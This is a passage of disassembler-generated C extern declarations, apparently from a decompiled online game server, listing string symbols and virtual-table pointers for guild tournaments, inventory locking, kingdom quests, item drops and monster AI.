extern char aWorldmanage_38[]; // idb extern char aWorldmanage_42[]; // idb extern char asc_5A54C8[]; // idb extern char aWorldmanage_43[]; // idb extern char asc_5A5568[]; // idb extern char aGamedbsessi_31[]; // idb extern char aGamedbsessi_30[]; // idb extern char aGamedbsessi_29[]; // idb extern char aWorldmanage_44[]; // idb extern char asc_5A56C8[]; // idb extern char aShineobject_21[]; // idb extern char scriptname[]; // idb extern char aDDDD[]; // idb extern char aSDDDDDDDDSDDDS[]; // idb extern char aWorldmanager_0[]; // idb extern char aConstFieldopti[]; // idb extern char aWorldmanagerse[]; // idb extern char asc_5A58C0[]; // idb extern char aWorldmanage_45[]; // idb extern char aWorldmanage_46[]; // idb extern char aWorldmanage_49[]; // idb extern char aWorldmanage_48[]; // idb extern char aWorldmanage_47[]; // idb extern char aPacketTooLong[]; // idb extern char aGuildtourament[]; // idb extern char aGuildtourame_1[]; // idb extern char asc_5A5B00[]; // idb extern char asc_5A5B60[]; // idb extern char asc_5A5BA8[]; // idb extern char asc_5A5BE8[]; // idb extern char aWorldmanage_50[]; // idb extern char aGuildt0407[]; // idb extern char aGuildt0406[]; // idb extern char aGuildt0405[]; // idb extern char aGuildt0404[]; // idb extern char aGuildt0403[]; // idb extern char aGuildt0402[]; // idb extern char aGuildt0401[]; // idb extern char aGuildt0400[]; // idb extern int (__thiscall *RoutionInterface::_vftable_)(void *p, char); // weak extern int (__thiscall *ScriptInterrupt::InterruptEventArgument::_vftable_)(void *p, char); // weak extern int (__stdcall *AxialListFlagCaptureCancel::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *ScriptInterrupt::InterruptEventWinGuild::_vftable_)(void *p, char); // weak extern int (__thiscall *DiceGame::_vftable_)(DiceGame *this, int nTick); // weak extern char aGuildtourmen_0[]; // idb extern char aGuildtournamen[]; // idb extern char aGuildtourna_25[]; // idb extern char aGuildtournam_2[]; // idb extern char aGuildtourmen_6[]; // idb extern char aId_2[]; // idb extern char aGuildtourmen_7[]; // idb extern char aGuildtournam_9[]; // idb extern char aGuildSkillNotF[]; // idb extern char aGuildtourmen_1[]; // idb extern char aGuildtourna_24[]; // idb extern char aGuildtourmen_3[]; // idb extern char aGuildtourmen_4[]; // idb extern char aGuildtourmen_9[]; // idb extern char aGuildtourna_22[]; // idb extern char aGuildtourna_23[]; // idb extern char aGuildtournam_1[]; // idb extern char aShineobject_78[]; // idb extern char aGuildtourna_20[]; // idb extern char aGuildtournam_8[]; // idb extern char aTemplog[]; // idb extern char aGuildtourna_28[]; // idb extern char aGuildtourna_12[]; // idb extern char aGuildtourna_15[]; // idb extern char aGuildtourments[]; // idb extern char aGuildtourmen_2[]; // idb extern char aGuildtourna_18[]; // idb extern char aGuildtourna_26[]; // idb extern int (__thiscall *GuildTournamentSystem::_vftable_)(void *p, char); // weak extern char aLevelhandica_3[]; // idb extern char aLevelhandica_2[]; // idb extern char aLevelhandica_1[]; // idb extern char aBonus[]; // idb extern char aByleveldiff[]; // idb extern char aLeveldiff[]; // idb extern char aPartyexperie_2[]; // idb extern char aPartyexperie_1[]; // idb extern char aPartyexperienc[]; // idb extern char aBypartymem[]; // idb extern char aPartymember[]; // idb extern int (__stdcall *ListMaximumSearch::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *ListSearchSame::_vftable_)(int ele, __int16 handle); // weak extern char aHitmelistEne_1[]; // idb extern int (__thiscall *ScanEnemy4ExpDist::_vftable_)(ScanEnemy4ExpDist *this, int ele, __int16 handle); // weak extern char aScanenemy4expd[]; // idb extern char aScanenemy4ex_5[]; // idb extern char aScanenemy4ex_1[]; // idb extern char aScanenemy4ex_4[]; // idb extern char aScanenemy4ex_0[]; // idb extern char aScanenemy4ex_6[]; // idb extern char aLevelhandicap4[]; // idb extern int (__thiscall *ExperienceDistribute::_vftable_)(ExperienceDistribute *this, int ele, __int16 handle); // weak extern char aExperiencedi_0[]; // idb extern char aExperiencedi_1[]; // idb extern char aExperiencedi_3[]; // idb extern char aExperiencedi_4[]; // idb extern char aExperiencedist[]; // idb extern char aHitmelistHml_l[]; // idb extern char aErrorInReadExp[]; // idb extern char a__9dataShin_62[]; // idb extern char a__9dataShin_20[]; // idb extern char aHitmelistEnemy[]; // idb extern char aHitmelistEne_2[]; // idb extern char aHitmelistEne_3[]; // idb extern char aScanenemy4ex_2[]; // idb extern char aWorldmanage_51[]; // idb extern char asc_5A6904[]; // idb extern char asc_5A693C[]; // idb extern char asc_5A6978[]; // idb extern char aHolypromisecen[]; // idb extern char aZonelistense_0[]; // idb extern char asc_5A6A20[]; // idb extern char asc_5A6A68[]; // idb extern char asc_5A6AA0[]; // idb extern char asc_5A6AF8[]; // idb extern char aGamedbsessi_32[]; // idb extern char asc_5A6B80[]; // idb extern char asc_5A6BD0[]; // idb extern char asc_5A6C10[]; // idb extern char asc_5A6C70[]; // idb extern char aGamedbsessi_33[]; // idb extern char asc_5A6CFC[]; // idb extern char aId_deletenow[]; // idb extern int (__stdcall *KickPlayer::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *IsAnybody::_vftable_)(int, int, int distancesquar); // weak extern char aMapclusterma_1[]; // idb extern char aMapclusterma_4[]; // idb extern char aMapclusterna_6[]; // idb extern char aMapclusterna_5[]; // idb extern char aKickplayerAli_[]; // idb extern char aFieldmapFm_kic[]; // idb extern char aFieldmapFm_exi[]; // idb extern char aZonelistense_6[]; // idb extern int (__stdcall *DeleteDungeon::_vftable_)(int ele, __int16 handle); // weak extern char aMapclusterma_8[]; // idb extern char aMapclusterna_1[]; // idb extern char aNotFoundEtcL_1[]; // idb extern char aLimittimemes_1[]; // idb extern char aNotFoundEtcLim[]; // idb extern char aLimittimemessa[]; // idb extern char aMapclusterm_10[]; // idb extern char aMapclustermana[]; // idb extern char aMapclusterma_5[]; // idb extern char aMapclusterma_7[]; // idb extern char aMapclusterma_0[]; // idb extern char aLinktable[]; // idb extern char aLinktitle[]; // idb extern char aCannotaddanymo[]; // idb extern char aRecalldisablef[]; // idb extern char aZonelistens_12[]; // idb extern int (__stdcall *InventoryLocking::InvenCellReleaser::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CenChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_FameChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellClear::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellChangeSmall::_vftable_)(int, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_GuildStorageClear::_vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #331 *, int lc, __int16 nBeforeItemID); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_GuildStorageChange::_vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #331 *, int lc, char nType); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::_vftable_)(int flag, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_FurnitureReloc::_vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #331 *, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_FurnitureCellClear::_vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #331 *, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_EquipLocation::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_ItemUse::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_PointStone::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_QuestReward::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InventoryCellLock::_vftable_)(int ele, __int16 handle); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_LinkInfo::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aInventorylo_46[]; // idb extern char aInventorylo_13[]; // idb extern char aInventorylo_23[]; // idb extern char aInventoryloc_5[]; // idb extern char aInventorylo_33[]; // idb extern char aInventorylo_35[]; // idb extern char aInventoryloc_9[]; // idb extern char aInventorylo_18[]; // idb extern char aInventorylo_45[]; // idb extern char aInventoryloc_2[]; // idb extern char aInventorylo_10[]; // idb extern char aInventorylo_12[]; // idb extern char aInventoryloc_8[]; // idb extern int (__stdcall *InventoryLocking::InventoryCellLockList::_vftable_)(int inven, __int16 ignore); // weak extern char aInventoryloc_3[]; // idb extern char aInventorylo_25[]; // idb extern char aInventorylo_28[]; // idb extern char aInventorylo_32[]; // idb extern char aInventoryloc_6[]; // idb extern char aInventorylo_41[]; // idb extern char aInventorylo_31[]; // idb extern char aInventorylo_39[]; // idb extern char aInventorylo_43[]; // idb extern char aInventorylo_38[]; // idb extern char aInventorylo_27[]; // idb extern char aInventorylo_16[]; // idb extern char aInventorylo_44[]; // idb extern char aInventorylo_30[]; // idb extern char aInventorylo_20[]; // idb extern char aInventorylo_21[]; // idb extern char aInventoryloc_4[]; // idb extern char aInventoryloc_7[]; // idb extern char aInventorylo_40[]; // idb extern char aInventorylo_29[]; // idb extern char aInventorylo_26[]; // idb extern char aInventorylo_19[]; // idb extern char aInventorylo_22[]; // idb extern char aInventorylo_14[]; // idb extern char aItemlotanaly_1[]; // idb extern char aItemlotanalyse[]; // idb extern char aInventorylo_37[]; // idb extern char aInventorylo_36[]; // idb extern char aInventoryloc_0[]; // idb extern char aInventoryloc_1[]; // idb extern char aInventorylo_42[]; // idb extern char aInventorylo_15[]; // idb extern char aInventorylo_34[]; // idb extern char aInventorylo_24[]; // idb extern char aInventorylocki[]; // idb extern char aScrstring[]; // idb extern char aScript[]; // idb extern char aButtonok[]; // idb extern char aButtoncancel[]; // idb extern char asc_5A8158[]; // idb extern char asc_5A8194[]; // idb extern char asc_5A81CC[]; // idb extern char aGamedbsessi_34[]; // idb extern char aGamedbsessi_35[]; // idb extern char aServermenufunc[]; // idb extern char aServermenufu_2[]; // idb extern char aServermenufu_4[]; // idb extern char aServermenuf_14[]; // idb extern char aItembreakwarn1[]; // idb extern char aServermenuf_10[]; // idb extern char aItemdropwarn[]; // idb extern char aItemdropperId_[]; // idb extern char aItembreakwarn0[]; // idb extern char aItembreakerI_0[]; // idb extern char aItemdropfrom_4[]; // idb extern char aItemdropfrom_3[]; // idb extern char aItemdropfro_11[]; // idb extern char aItemdropfrom_8[]; // idb extern char aItemdropfrom_5[]; // idb extern char aItemdropfrom_7[]; // idb extern char aItemdropfrom_1[]; // idb extern char aChecksumErro_1[]; // idb extern char aItemdropgroup[]; // idb extern char aDropitemmana_1[]; // idb extern char a__9dataShine_1[]; // idb extern char a__9dataShin_39[]; // idb extern char aChecksumErro_0[]; // idb extern char aItemgroup[]; // idb extern char aItemdropfro_10[]; // idb extern char aDropitemmanage[]; // idb extern char a__9dataShin_65[]; // idb extern char a__9dataShin_46[]; // idb extern char aItemdropfrom_9[]; // idb extern char aItemdropfrom_2[]; // idb extern char aItemdropfrommo[]; // idb extern char aItemdropfrom_0[]; // idb extern char aItemgroupcla_2[]; // idb extern char aItemgroupcla_4[]; // idb extern char aItemgroupclass[]; // idb extern char aItemgroupcla_7[48]; // weak extern char aItemgroupcla_3[]; // idb extern char aItemgroupcla_6[]; // idb extern char aItemgroupcla_8[]; // idb extern char aItemgroupcla_1[]; // idb extern char aTotallot[]; // idb extern char aMovelot[]; // idb extern char aTo1[]; // idb extern char aTo0[]; // idb extern char aFrom1[]; // idb extern char asc_5A894C[]; // idb extern char aFrom0[]; // idb extern char aAct[]; // idb extern char aItemlotinspect[]; // idb extern char aItemidNotMatch[]; // idb extern char asc_5A8998[]; // idb extern char aItemlotinspe_1[]; // idb extern char aTotalitemnumbe[]; // idb extern char asc_5A89D8[]; // idb extern MobTacticElement::MobActionArgument stru_5A89E0; // idb extern char asc_5A8D1C[]; // idb extern char a__9dataShineIt[]; // idb extern char aItemrandomop_3[]; // idb extern char aOptionnumberTo[]; // idb extern char aChecksumNotMat[]; // idb extern char aRandomoptionta[]; // idb extern char aItemrandomop_2[]; // idb extern char aItemrandomop_0[]; // idb extern char a__9dataShin_44[]; // idb extern char a__9dataShin_22[]; // idb extern char aItemrandomop_4[]; // idb extern char aItemrandomop_5[65]; // weak extern char aItemrandomopti[]; // idb extern char aItemsinchestIi[]; // idb extern char aGamedbsessi_40[]; // idb extern char aGamedbsessi_39[65]; // weak extern char aGamedbsessi_38[]; // idb extern char aKingdomquest_3[]; // idb extern char aKingdomquesten[]; // idb extern int (__fastcall *KingdomQuestGate::KingdomQuestGateKeeper::_vftable_)(KingdomQuestGate::KingdomQuestGateKeeper *this); // weak extern char aKqentrymaperr1[]; // idb extern char aKqentrymaperr0[]; // idb extern char aKingdomquest_5[]; // idb extern char aKingdomquestKi[]; // idb extern int (__stdcall *ListIteratorKingdomQuestMapFind::_vftable_)(int ele, __int16 handle); // weak extern char aListiteratorki[]; // idb extern char aKingdomquest_7[]; // idb extern int (__stdcall *AxialListObjectClear::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistobjec[]; // idb extern char aAxiallistobj_1[]; // idb extern char aAxiallistobj_5[]; // idb extern char aFieldmapFm_cle[]; // idb extern char asc_5A924C[]; // idb extern char asc_5A9280[]; // idb extern char asc_5A92B4[]; // idb extern char asc_5A92EC[]; // idb extern char asc_5A9324[]; // idb extern char asc_5A9354[]; // idb extern char asc_5A9384[]; // idb extern char asc_5A93B8[]; // idb extern char aKingdomquest_2[]; // idb extern char aKingdomquest_8[]; // idb extern char aKingdomquest_0[]; // idb extern char aKingdomquest_6[]; // idb extern char aIsInDead[]; // idb extern char aKingdomquest_1[]; // idb extern char asc_5A9508[]; // idb extern char aIsInBooth[]; // idb extern char aKqentryincamp1[]; // idb extern char aKqentryincamp0[]; // idb extern char aKingdomques_10[]; // idb extern char aKingdomques_16[]; // idb extern char aKingdomques_13[]; // idb extern char aKingdomquestga[]; // idb extern char asc_5A9614[]; // idb extern char aWorldmanage_54[]; // idb extern char aSuccess[]; // idb extern char aFailKqNotExist[]; // idb extern char aWorldmanage_53[]; // idb extern char aWms_nc_kq_w2z_[]; // idb extern char aWorldmanage_52[]; // idb extern char aKingdomques_14[]; // idb extern char aShineobject_26[]; // idb extern char aShineobject_25[]; // idb extern char aKingdomquest_9[]; // idb extern char aKingdomques_11[]; // idb extern char aKingdomques_15[]; // idb extern char asc_5A988C[]; // idb extern char aShineobject_23[]; // idb extern char aShineobject_22[]; // idb extern char aWorldmanage_55[]; // idb extern int (__stdcall *KingdomQuest::KingdomQuestContainer::_vftable_[3])(__int16 hnd); // weak extern char aErr_kingdomq_0[]; // idb extern char aErr_kingdomq_2[]; // idb extern char aWorldmanage_61[]; // idb extern char aNotEmpty2[]; // idb extern char aNotFound2[]; // idb extern char aNotFound[]; // idb extern char aNotEmpty[]; // idb extern char aSubmapInUse[]; // idb extern char aWorldmanage_60[]; // idb extern char aErr_kingdomq_3[]; // idb extern char aWorldmanage_59[]; // idb extern char aErr_kingdomque[]; // idb extern char aWorldmanage_58[]; // idb extern char aTitle[]; // idb extern char aWorldmanage_57[]; // idb extern char aWorldmanage_56[]; // idb extern char aKingdomquestKq[]; // idb extern char asc_5A9C04[]; // idb extern char aShineobject_24[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aKqentrychecklo[]; // idb extern char aKdeddyhill00[]; // idb extern char aKqcontribute_0[]; // idb extern char aKqcontribute_4[]; // idb extern char aKqcontribute_2[]; // idb extern char aKqcontribute_5[]; // idb extern char aKqcontributeKq[]; // idb extern char aKqcontribute_3[]; // idb extern char a__9dataShineKi[35]; // weak extern char a9dataShineWorl[]; // idb extern char aCanattack[]; // idb extern char aSendmybrief[]; // idb extern char aSublayerSublay[]; // idb extern char aSublayerintera[]; // idb extern char a__9dataShin_43[]; // idb extern char a__9dataShin_18[]; // idb extern char aShineobject_69[]; // idb extern char asc_5A9F60[]; // idb extern char asc_5A9FA8[]; // idb extern char aWorldmanage_64[]; // idb extern char asc_5AA020[]; // idb extern char aWorldmanage_63[65]; // weak extern char aWorldmanage_62[]; // idb extern char aItemusefunct_5[]; // idb extern char aItemusefunct_3[]; // idb extern char aIm_divorce[]; // idb extern char aPropose_1[]; // idb extern char aNoeffect[]; // idb extern char aBossmobdetect[]; // idb extern char aMemoryfeather[]; // idb extern char aAmountmp[]; // idb extern char aAmounthp[]; // idb extern char aLicenceclear[]; // idb extern char aStatclearempow[]; // idb extern char aStatclearstat[]; // idb extern char aUsesilverwings[]; // idb extern char aItemusefunct_4[]; // idb extern char aItemusefunct_2[]; // idb extern char aItemusefunctio[]; // idb extern char a__9dataShin_12[]; // idb extern char asc_5AA250[]; // idb extern char aUD[]; // idb extern char aLD_1[]; // idb extern char aContent[]; // idb extern char aIndex[]; // idb extern char asc_5AA2B0[]; // idb extern char aContainer[]; // idb extern char aItemid[]; // idb extern char asc_5AA30C[]; // idb extern char asc_5AA344[]; // idb extern char aItemconversi_1[]; // idb extern char aItemconversion[]; // idb extern char aMagiccontain_6[]; // idb extern char aMagiccontain_4[]; // idb extern char aMagiccontain_8[]; // idb extern char aMagiccontain_3[]; // idb extern char aUsepresentbox[]; // idb extern char aMagiccontain_5[]; // idb extern char aMagiccontain_1[]; // idb extern char aContainerstrNu[]; // idb extern char aMagiccontai_11[]; // idb extern char aMagiccontain_7[]; // idb extern char aMagiccontainer[]; // idb extern char a__9dataShin_10[]; // idb extern char a5zoneserverdum[]; // idb extern char aSize_txt[]; // idb extern char aMapblockMapd_6[]; // idb extern char aMapblockMap_10[]; // idb extern char aMapblockMapd_7[]; // idb extern char aMapblockMapd_2[]; // idb extern char aMapblockMapd_5[]; // idb extern char aMapblockMapd_0[]; // idb extern char aR[2]; // idb extern char a__9dataShin_37[]; // idb extern char aMapblockMapd_3[]; // idb extern char aMapblockMapd_1[]; // idb extern char aMapblockMapdoo[]; // idb extern char aMapblockMapblo[]; // idb extern char aMapblockMapb_5[]; // idb extern char a__9dataShin_19[]; // idb extern char aMapblockinfo_0[]; // idb extern char a__9dataShin_49[]; // idb extern char aMapblockinfo_1[]; // idb extern char aMapblockinfo_5[]; // idb extern char aMapblockinfo_4[]; // idb extern char aMapblockMapb_4[]; // idb extern char aMapblockinfo_2[]; // idb extern char aRb[3]; // idb extern char a__9dataShineBl[]; // idb extern char aMapblockMapb_3[]; // idb extern char aMapblockMapb_2[]; // idb extern char aMapblockinform[]; // idb extern char aMapblockMapd_4[]; // idb extern char aMapblockMapd_8[]; // idb extern char aMapblockMapb_1[]; // idb extern char aNotFoundEtcDun[]; // idb extern char aDungeontimeout[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aMapclusterm_12[]; // idb extern char aMapclusterm_11[]; // idb extern char aMapclusterna_0[]; // idb extern char aMapclusterma_2[]; // idb extern char aMapclusternama[]; // idb extern char aMapclusterna_3[]; // idb extern char asc_5AACD4[]; // idb extern char asc_5AAD18[]; // idb extern char asc_5AAD58[]; // idb extern char asc_5AAD90[]; // idb extern char asc_5AADD8[]; // idb extern char aTownportalda_1[]; // idb extern char a__9dataShineTo[]; // idb extern char aTownportaldata[]; // idb extern char aTownportalda_2[]; // idb extern char asc_5AAE94[]; // idb extern char aMapclusterma_6[]; // idb extern char asc_5AAEFC[]; // idb extern char aJob2_dn02[]; // idb extern char aJob2_dn01[]; // idb extern char aJob1_dn01[]; // idb extern char a__9dataShin_69[]; // idb extern char aMinihouseend_1[]; // idb extern char a__9dataShin_28[]; // idb extern char aMinihouseobj_1[]; // idb extern int (__stdcall *MobExplosionElement::MobExplosionBase::_vftable_)(int mob, int); // weak extern int (__thiscall *MobExplosionElement::MobExplosionEnemy::_vftable_[2])(MobExplosionElement::MobExplosionBase *this, int mob, int); // weak extern int (__thiscall *MobExplosionElement::MobExplosionTarget::_vftable_)(MobExplosionElement::MobExplosionBase *this, int mob, int); // weak extern int (__thiscall *MobExplosionElement::MobExplosionAlways::_vftable_)(MobExplosionElement::MobExplosionBase *this, int mob, #748 *misctable); // weak extern int (__stdcall *AxialListAggroAdjust::_vftable_)(int, int, int distancesquar); // weak extern char asc_5AB0BC[]; // idb extern char aMiscdatatab_19[]; // idb extern char aMiscdatatab_10[]; // idb extern char aMiscdatatab_25[]; // idb extern char aMiscdatatab_22[]; // idb extern char aMiscdatatabl_4[]; // idb extern char aMiscdatatabl_2[]; // idb extern char aMiscdatatab_27[]; // idb extern char aMiscdatatab_16[]; // idb extern char aMobexplosion_2[]; // idb extern char aAbnormalsta_49[]; // idb extern char aAbnormalsta_68[]; // idb extern char aAbnormalsta_55[]; // idb extern char aAbnormalsta_10[]; // idb extern char aAbnormalsta_54[]; // idb extern char asc_5AB430[]; // idb extern char asc_5AB47C[]; // idb extern int (__stdcall *AbnormalStateContainer::ListIteratorAbstateEquip::_vftable_)(int ele, __int16 handle); // weak extern char aAbnormalsta_14[]; // idb extern char asc_5AB56C[]; // idb extern char aAxiallistaggro[]; // idb extern char asc_5AB5C4[]; // idb extern char asc_5AB5F8[]; // idb extern char asc_5AB628[]; // idb extern char asc_5AB664[]; // idb extern char asc_5AB6A0[]; // idb extern char asc_5AB6F0[]; // idb extern char aGamedbsessi_42[]; // idb extern char aGamedbsessi_41[]; // idb extern char aGamedbsessi_43[]; // idb extern char asc_5AB7D4[]; // idb extern char asc_5AB814[]; // idb extern char asc_5AB850[]; // idb extern char asc_5AB888[]; // idb extern char asc_5AB8BC[]; // idb extern char asc_5AB8F8[]; // idb extern char asc_5AB934[]; // idb extern char asc_5AB970[]; // idb extern char aMiscdatatabl_9[]; // idb extern char aMiscdatatabl_6[]; // idb extern char aMiscdatatab_11[]; // idb extern char aMiscdatatab_23[]; // idb extern char aNeutralization[]; // idb extern char aMiscdatatabl_1[]; // idb extern char aMiscdatatab_15[]; // idb extern char aMiscdatatabl_7[]; // idb extern char aMiscdatatab_20[]; // idb extern char aLefthand[]; // idb extern char aMiscdatatab_21[]; // idb extern char aMiscdatatab_28[]; // idb extern char aAbstatereset[]; // idb extern char aDead_1[]; // idb extern char aTargetobj[]; // idb extern char aTargetloc[]; // idb extern char aMyobj[]; // idb extern char aMyloc[]; // idb extern char aMiscdatatabl_8[]; // idb extern char aMiscdatatab_13[]; // idb extern char aAlways[]; // idb extern char aEnemy[]; // idb extern char aMiscdatatabl_0[]; // idb extern char aTarget[]; // idb extern char aCaster[]; // idb extern char aMiscdatatab_14[]; // idb extern char aRoam[]; // idb extern char aRampage[]; // idb extern char aChase[]; // idb extern char aRoot[]; // idb extern char aMiscdatatab_24[]; // idb extern char aMiscdatatab_29[]; // idb extern char aMiscdatatab_12[]; // idb extern char aMiscdatatabl_5[]; // idb extern char aSkillbreedmob[]; // idb extern char aMobtargetboutM[]; // idb extern char aShineobject_91[]; // idb extern char asc_5ABE0C[]; // idb extern char aErrorInReadMis[]; // idb extern char a__9dataShin_25[]; // idb extern char asc_5ABE84[]; // idb extern char aMobdataboxOper[]; // idb extern char aMagiccontain_0[]; // idb extern char aMobattackse_10[]; // idb extern char aMagiccontain_2[]; // idb extern char aMobattackseq_9[]; // idb extern char aMobattackseq_0[]; // idb extern char aMobattackseq_2[]; // idb extern char aMobattackseq_3[]; // idb extern char aNextskill[]; // idb extern char aMobattackseq_7[]; // idb extern char aTargetstate[]; // idb extern char aHplow[]; // idb extern char aMobattackse_13[]; // idb extern char aOutofrange[]; // idb extern char aMobattackseq_8[]; // idb extern char aSkillchange[]; // idb extern char aMobattackseq_1[]; // idb extern char aMobattackse_12[]; // idb extern char aRepeatstart[]; // idb extern char aAttack_1[]; // idb extern char aAttseq[]; // idb extern char aOrder[]; // idb extern char aMobattackseq_4[]; // idb extern char aMobattackse_11[]; // idb extern char a__9dataShine_7[]; // idb extern char aMobattackseq_5[]; // idb extern char aMobattackseque[]; // idb extern int (__thiscall *MobActionElement::_vftable_)(void *p, char); // weak extern int (__stdcall *MobTargetSelector::_vftable_)(int type, int slot, int distancesquar); // weak extern char aMobactioneleme[]; // idb extern char aShineobject_79[]; // idb extern char aShineobject_77[]; // idb extern char aMobthink_chase[]; // idb extern char aPathNotFound[]; // idb extern char aMobactionMa_th[]; // idb extern char asc_5AC3C4[]; // idb extern int (__stdcall *AxialListNearFriend::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNPCTargetFind::_vftable_)(int, int, int distancesquar); // weak extern char aMobtargetsel_3[]; // idb extern char aMobtargetsel_2[]; // idb extern char aMobtargetsel_4[]; // idb extern char aMobtargetnobra[]; // idb extern int (__stdcall *MobTarget_AggroClear::_vftable_)(int ele, __int16 handle); // weak extern char aMobtarget_aggr[]; // idb extern char aMobtarget_ag_0[]; // idb extern char aMobtarget_ag_2[]; // idb extern char aMobtargetbou_5[]; // idb extern char aMobtargetsel_1[]; // idb extern char aMobtarget_en_3[]; // idb extern int (__thiscall *MobTarget_EnemyAnalysis::_vftable_)(MobTarget_EnemyAnalysis *this, int ele, __int16 handle); // weak extern char aMobtarget_enem[]; // idb extern char aMobtarget_en_4[]; // idb extern char aMobtarget_en_1[]; // idb extern char aMobtarget_en_0[]; // idb extern char aMobtargetbou_2[]; // idb extern char aAxiallistnearf[]; // idb extern char asc_5AC684[]; // idb extern char asc_5AC6BC[]; // idb extern char asc_5AC6F0[]; // idb extern char asc_5AC724[]; // idb extern char asc_5AC754[]; // idb extern char asc_5AC788[]; // idb extern char asc_5AC7BC[]; // idb extern char asc_5AC7EC[]; // idb extern char aMobtargetbou_6[]; // idb extern char aMobtargetbou_4[]; // idb extern char aMobtargetagg_1[]; // idb extern char aMobtargetbou_0[]; // idb extern int (*MobChat::MobChatElementBase::_vftable_)(); // weak extern char aMobchatMobchat[]; // idb extern char aMobchatMobch_2[]; // idb extern char aMobchatMobc_16[]; // idb extern char aMobchatMobch_8[]; // idb extern char aMobchatMobch_3[]; // idb extern char aMobchatMobc_15[]; // idb extern char aMobchatMobch_9[]; // idb extern int (*MobChat::MobChatElement::_vftable_)(); // weak extern int (*MobChat::MobChatElementWander::_vftable_)(); // weak extern char aMobchatMobch_4[]; // idb extern char aMobchatMobc_12[]; // idb extern char aMobchatMobc_17[]; // idb extern char aMobchatMobch_6[]; // idb extern char aMobchatMobch_7[]; // idb extern char aMobchatMobc_13[]; // idb extern char aMobchatMobch_0[]; // idb extern char aMobchatMobc_10[]; // idb extern char aInvalidFlag_1[]; // idb extern char aMobchatMobch_1[]; // idb extern char aMobindex[]; // idb extern char aMobchatMobc_14[]; // idb extern char aRacerescu[]; // idb extern char aHelpsub[]; // idb extern char aHelpmain[]; // idb extern char aDead[]; // idb extern char aDamaged[]; // idb extern char aAttack[]; // idb extern char aPiece[]; // idb extern char aMobchatMobc_11[]; // idb extern char aMobchatMobc_18[]; // idb extern char a__9dataShin_51[]; // idb extern char a__9dataShine_5[]; // idb extern char aMobdeadcount_0[]; // idb extern char aMobdeadcount_2[]; // idb extern char aMobdeadcountMd[]; // idb extern char aMobdeadcount_3[]; // idb extern char aShineobject_29[]; // idb extern char aShineobject_28[]; // idb extern char aShineobject_27[]; // idb extern int (*EventMobRegen::_vftable_)(); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_5ACE88[]; // idb extern char asc_5ACEC4[]; // idb extern char asc_5ACEF4[]; // idb extern char asc_5ACF28[]; // idb extern char asc_5ACF6C[]; // idb extern char aMobregencla_17[]; // idb extern char aMobregencla_14[]; // idb extern int (__thiscall *MobRegenClass::MobBreederGroup::_vftable_[3])(List *this, __int16 hnd); // weak extern char aMobregenclas_7[]; // idb extern int (__stdcall *MobBreedRegenEnable::_vftable_)(int, __int16 handle); // weak extern char aMobregencla_22[]; // idb extern char aMobregenclas_6[]; // idb extern char aMobregencla_26[]; // idb extern char aMobregencla_15[]; // idb extern char aMobregencla_24[]; // idb extern char aMobregencla_13[]; // idb extern char aMobregenclas_0[]; // idb extern char aMobregencla_28[]; // idb extern char aMobregencla_16[]; // idb extern char asc_5AD200[]; // idb extern char asc_5AD244[]; // idb extern char aKqregentable_0[]; // idb extern char a__9dataShin_34[]; // idb extern char a__9dataShin_50[]; // idb extern char aKqregentable_3[]; // idb extern char aKqregentable_2[]; // idb extern char aMobDRgnumDHndD[]; // idb extern char aMobregencla_20[]; // idb extern char aMobregenclas_5[]; // idb extern char aMobbreederMb_r[]; // idb extern char aMobregenclas_3[]; // idb extern char aMobregencla_27[]; // idb extern char a__9dataShin_48[]; // idb extern char aKqregentableKq[]; // idb extern char a__9dataShin_71[]; // idb extern char aSDDDDDDDDDDDDS[]; // idb extern char aMobregenclas_9[]; // idb extern char aMobregencla_10[]; // idb extern char aMobregencla_21[]; // idb extern char aMobbreederMbg_[]; // idb extern char aMobregenclas_4[]; // idb extern char aMobhatcheryM_5[]; // idb extern char aMobhatcheryM_4[]; // idb extern char aMobhatcheryM_1[]; // idb extern int (__stdcall *MobRegenClass::MobRegenGroupList::_vftable_[3])(__int16 hnd); // weak extern char aFamilymobman_1[]; // idb extern char aFamilymobman_3[]; // idb extern char 